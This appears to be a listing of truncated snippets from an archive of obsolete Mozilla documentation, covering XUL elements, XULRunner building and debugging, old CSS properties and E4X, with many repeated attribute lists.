mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
separator - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
spacer - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
spinbuttons - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
stack - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
statusbar - Archive of obsolete content
atabase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
<statusbarpanel> - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
stringbundle - Archive of obsolete content
specify the position of the corresponding parameter explicitly. if you need to handle substitutions involving plurals, take a look at localization and plurals. getstring( key ) return type: string returns the string with the given key name from the string bundle. ...
stringbundleset - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
tabbox - Archive of obsolete content
in the tabs element. assign a value to this property to modify the currently selected tab. tabs type: tabs element the tabs element contained within the tabbox. tabpanels type: tabpanels element the tabpanels element contained within the tabbox. ...
tabpanel - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
tabpanels - Archive of obsolete content
ems are selected selectedpanel type: element holds a reference to the currently selected panel within a <tabbox> element. assigning a value to this property will modify the selected panel. a select event will be sent when the selected panel is changed. ...
template - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
textnode - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
toolbargrippy - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
toolbaritem - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
toolbarseparator - Archive of obsolete content
atabase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
toolbarset - Archive of obsolete content
atabase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
toolbarspacer - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
toolbarspring - Archive of obsolete content
atabase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
treecell - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
treechildren - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
treecol - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
treecols - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
treeitem - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
treerow - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
treeseparator - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
triple - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
vbox - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
wizard - Archive of obsolete content
itle that appears at the top of the wizard. this is overridden by the label attribute on the individual pages. wizardpages type: dom nodelist of wizardpage elements this property holds the list of wizardpage elements in the wizard. ...
wizardpage - Archive of obsolete content
, , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
Building XULRunner - Archive of obsolete content
javaxpcom in your configuration. on mac, xulrunner requires mac os x 10.3 or higher and xcode 1.5 or higher to build properly. the runtime requirement is mac os x 10.2. a basic minimal mozconfig which will build a release configuration of xulrunner is: mk_add_options moz_co_project=xulrunner mk_add_options moz_objdir=@topsrcdir@/obj-xulrunner ac_add_options --enable-application=xulrunner #unco
mment the following line if you don't want to build javaxpcom: #ac_add_options --disable-javaxpcom cvs tags and xulrunner versions older xulrunner releases where tagged in cvs with (for instance xulrunner_1_8_0_5_release ) up to version 1.8.0.5 the cvs repository does not have specific tags for xulrunner anymore. instead a xulrunner build is a just special build made from the firefox/mozilla tre...
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
partially compensating you for all that extra work you put in just now. see, it all balances out in the end! building with a prebuilt sdk once you've downloaded the xulrunner sdk, you'll need a .mozconfig of your own. here's an example for mccoy: # options for client.mk. mk_add_options moz_co_projects=browser mk_add_options moz_objdir=@topsrcdir@/../mccoybase # options for 'configure' (same as co
mmand-line options). ac_add_options --with-libxul-sdk=/path/to/xulrunner-sdk ac_add_options --enable-application=mccoy you still need to get the mozilla source code and put your project in a subdirectory underneath the mozilla root. of course, you only really need the mozilla build system since all the other mozilla files are in the xulrunner sdk, and there is a bug filed to make it possible to che...
Debugging a XULRunner Application - Archive of obsolete content
ttp://article.gmane.org/gmane.comp.mozilla.devel.jsdebugger/859 i extracted venkman.jar, opened venkman\content\venkman\venkman-scripts.xul and changed: @@ -54,11 +54,11 @@ <script src="chrome://global/content/nstransferable.js" /> <script src="chrome://global/content/nsclipboard.js" /> <script src="chrome://global/content/nsdraganddrop.js" /> - <script src="chrome://co
mmunicator/content/contentareautils.js" /> - <script src="chrome://co
mmunicator/content/contentareadd.js" /> - <script src="chrome://co
mmunicator/content/findutils.js" /> - <script src="chrome://browser/content/contentareautils.js" /> + <script src="chrome://global/content/contentareautils.js" /> + <script src="chrome://global/content/contentareadd.js" /> <scrip...
Make your xulrunner app match the system locale - Archive of obsolete content
nowledge of xpcom and will be written for someone using python, but the ideas should be adaptable. also, this may not be the proper way to do this and it may not work for you in all cases. please update if there are more correct ways to do this. the first step is to get the code we're about to write to run before any of the locale specific resources are loaded. democracy does this by creating a co
mmand line handler called democracyclh, and then creating a new object of our pybridge component. the code described lives in the pybridge component's onstartup method which gets called automatically. the second step is to figure out the system locale. to be finished later. then set the locale preference. the following is python code to set this preference. from xpcom import components ps_cls = com...
XULRunner - Archive of obsolete content
fame tracks all available applications based on xulrunner. build documentation learn how to get the source and build it. debug documentation steps to configure venkman to debug your app xulrunner guide a fairly complete, but outdated, introduction and tutorial for xulrunner which collates much of the documentation found here. view all... co
mmunity view mozilla forums... mailing list newsgroup rss feed #xulrunner on irc.mozilla.org other co
mmunity links... related topics xul see also a brief introduction to xulrunner ...
calIFileType - Archive of obsolete content
califiletype is used in caliimporter and caliexporter to determine which file types are supported for import/export. status: unfrozen. defined in calendar/base/public/caliimportexport.idl interface code [scriptable, uuid(efef8333-e995-4f45-bdf7-bfcabbd9793e)] interface califiletype : nsisupports { readonly attribute astring defaultextension; readonly attribute astring extensionfilter; readonly attribute astring description; }; attributes defaultextension the default extension that should be associated with files of this type. extensionfilter the extension filter to use in the filepicker's filter list. separate multiple extensions with semicolon and space. ...
Mozrunner - Archive of obsolete content
this documentation is no longer maintained. for more information about mozrunner as part of the mozbase project, please see the mozbase project page. mozrunner is a python package which handles running of mozilla applications. mozrunner utilizes mozprofile for managing application profiles and mozprocess for robust process control. mozrunner may be used from the co
mmand line or progra
mmatically as an api. co
mmand line usage the mozrunner co
mmand will launch the application (specified by --app) from a binary specified with -b or as located on the path. mozrunner takes the co
mmand line options from mozprofile for constructing the profile to be used by the application. run mozrunner --help for detailed information on the co
mmand line program. api usage mozrunner features a base clas...
Format - Archive of obsolete content
criteria are included in the linked post. firefox 1.5.0.5 planned release - 2006/07/26 discussions firefox survey feedback requested rachel werner (mozilla corp marketing intern) requested feedback on a proposed user survey. the survey questions and feedback are included in the thread. deadline for feedback has passed. ...
2006-10-06 - Archive of obsolete content
read more... discussions w3c sets road map for web app accessibility the w3c introduced its wai-aria (web accessibility initiative for accessible rich internet applications) roadmap--a set of guidelines for developers to make accessible web content. this set of documents tackles some of the difficulties that ajax has been causing with regards to accessibility. read more... ...
-moz-stack-sizing - Archive of obsolete content
its child elements are completely visible. for example, moving a child of the stack far to the right will widen the stack so the child remains visible. /* keyword values */ -moz-stack-sizing: auto; -moz-stack-sizing: ignore; /* global values */ -moz-stack-sizing: inherit; -moz-stack-sizing: initial; -moz-stack-sizing: unset; if you wish to prevent the stack from resizing automatically to acco
mmodate its children, you can set -moz-stack-sizing to ignore on the child element. the property is set not on the stack itself, but on the stack's children. this lets you ignore certain children, but not others. note: in previous versions of gecko it was possible to work around the problem by setting very large negative bottom and right margins on the stack element and equally large positive botto...
-ms-content-zoom-snap-points - Archive of obsolete content
napinterval( <percentage>, <percentage> ) specifies where the snap-points will be placed. the first percentage specifies where the first snap-point will be placed. the second percentage specifies the distance between subsequent snap-points, both zoomed in and zoomed out from the initial snap-point. snaplist( <percentage># ) specifies the position of individual snap-points as a co
mma-separated list of percentages, each of which represents a zoom factor. if any value specified is less than that specified by the -ms-content-zoom-limit-min property, the value of -ms-content-zoom-limit-min is used. if any value specified is greater than that specified by the -ms-content-zoom-limit-max property, the value of -ms-content-zoom-limit-max is used. formal syntax snapin...
-ms-filter - Archive of obsolete content
es gradient background-image: linear-gradient() dropshadow text-shadow or box-shadow matrix transform, transform-origin in windows internet explorer 8, the -ms-filter attribute is an extension to css, and can be used as a synonym for filter in ie8 standards mode. when you use -ms-filter, enclose the progid in single quotes (') or double quotes ("). use co
mmas (,) to separate multiple values, as shown in the examples section. an object must have layout for the filter to render. a simple way to accomplish this is to give the element a specified height and width, or both. the shadow filter can be applied to the <img> object by setting the filter on the image's parent container. the filter mechanism is extensible and enables you to develop and add fi...
-ms-scroll-snap-points-x - Archive of obsolete content
ercentage> ) specifies a starting snap-point followed by the interval between all snap-points. the first value specifies where the first snap-point will be placed. the second value specifies the distance between subsequent snap-points both to the left and the right of the initial snap-point. snaplist( <length-percentage># ) specifies the position of individual snap-points as a co
mma-separated list of values, each of which represents a zoom factor. if any value is less than -ms-scroll-limit-x-min , then -ms-scroll-limit-x-min is used. if any value is greater than -ms-scroll-limit-x-max, then -ms-scroll-limit-x-max is used. formal syntax snapinterval( <length-percentage>, <length-percentage> ) | snaplist( <length-percentage># )where <length-percentage> = <leng...
-ms-scroll-snap-points-y - Archive of obsolete content
e>, <length-percentage> ) specifies a starting snap-point followed by the interval between all snap-points. the first value specifies where the first snap-point will be placed. the second value specifies the distance between subsequent snap-points both above and below the initial snap-point. snaplist( <length-percentage># ) specifies the position of individual snap-points as a co
mma-separated list of values, each of which represents a zoom factor. if any value is less than -ms-scroll-limit-y-min , then -ms-scroll-limit-y-min is used. if any value is greater than -ms-scroll-limit-y-max, then -ms-scroll-limit-y-max is used. formal syntax snapinterval( <length-percentage>, <length-percentage> ) | snaplist( <length-percentage># )where <length-percentage> = <leng...
azimuth - Archive of obsolete content
as 180deg. also used as a modifier for other positional keyword values, as above. leftwards: moves the sound counter-clockwise by 20 degrees, relative to the current angle. rightwards: moves the sound clockwise by 20 degrees, relative to the current angle. examples h1 { azimuth: 30deg; } td.a { azimuth: far-right; } /* 60deg */ #12 { azimuth: behind far-right; } /* 120deg */ p.co
mment { azimuth: behind; } /* 180deg */ specifications specification status co
mment css level 2 (revision 1)the definition of 'azimuth' in that specification. reco
mmendation initial definition. ...
display-inside - Archive of obsolete content
block the element lays out its contents using block layout. table the element lays out its contents using table layout. flex the element lays out its contents using flex layout. grid the element lays out its contents using grid layout. ruby the element lays out its contents using ruby layout. formal syntax syntax not found in db! specifications specification status co
mment css display module level 3the definition of 'display-inside' in that specification. candidate reco
mmendation initial specification browser compatibility not supported in any browser. ...
E4X for templating - Archive of obsolete content
ing: e4x is deprecated. it will be disabled by default for content in firefox 16, disabled by default for chrome in firefox 17, and removed in firefox 18. use domparser/domserializer or a non-native jxon algorithm instead. e4x can be used for creating templates for dynamic content. while it may be obvious after a study of the basics of e4x that it can be used for this purpose, if one adds a few co
mmon purpose functions (especially along with the convenience of javascript 1.8 expression closures), the templates can function more dynamically, offering the power and readability of templating languages such as smarty for php (though admittedly without the currently wider cross-browser support of xslt or the strictly-xml approach of phptal or seethrough templating). security and escaping function...
Introduction - Archive of obsolete content
re not limited to one element, and as with all javascript, can span multiple lines. var element2 = <foo> <bar/> </foo>; additionally, you can specify all of the normal attributes on elements that you would normally include in an xml document. var element3 = <foo baz="1"/>; manipulating elements the goal of e4x was to provide an easier way for javascript progra
mmers to manipulate an xml document, without going through the dom interfaces. however, many of the same functions that you would use in the dom can be used in e4x. the most basic is appendchild var element1 = <foo/>; var element2 = <bar/>; element1.appendchild(element2); which produces exactly the xml document you'd expect <foo> <bar/> </foo> javascript variables the true power of e4x only ...
E4X Tutorial - Archive of obsolete content
next » warning: e4x is deprecated. it will be disabled by default for content in firefox 16, disabled by default for chrome in firefox 17, and removed in firefox 18. use domparser/domserializer or a non-native jxon algorithm instead. this tutorial walks you through the basic syntax of e4x (ecmascript for xml). with e4x, progra
mmers can manipulate an xml document with a syntax more familiar to javascript progra
mming. subjects introduction accessing xml children descendants and filters namespaces the global xml object see also e4x processing xml with e4x next » ...
Array.observe() - Archive of obsolete content
ge the length of the array may be reported as "update" changes. examples logging different change types var arr = ['a', 'b', 'c']; array.observe(arr, function(changes) { console.log(changes); }); arr[1] = 'b'; // [{type: 'update', object: <arr>, name: '1', oldvalue: 'b'}] arr[3] = 'd'; // [{type: 'splice', object: <arr>, index: 3, removed: [], addedcount: 1}] arr.splice(1, 2, 'beta', 'ga
mma', 'delta'); // [{type: 'splice', object: <arr>, index: 1, removed: ['b', 'c'], addedcount: 3}] specifications strawman proposal specification. ...
ArrayBuffer.transfer() - Archive of obsolete content
throw new typeerror('source must be an instance of arraybuffer'); if (length <= source.bytelength) return source.slice(0, length); var sourceview = new uint8array(source), destview = new uint8array(new arraybuffer(length)); destview.set(sourceview); return destview.buffer; }; } specifications specification status co
mment arraybuffer.prototype.transfer proposal draft stage 2 draft ...
Debug.write - Archive of obsolete content
the debug.write function sends strings to the script debugger. syntax debug.write([str1 [, str2 [, ... [, strn]]]]) paramaters str1, str2, ... , strn optional strings to send to the script debugger. remarks the debug.write function sends strings to the i
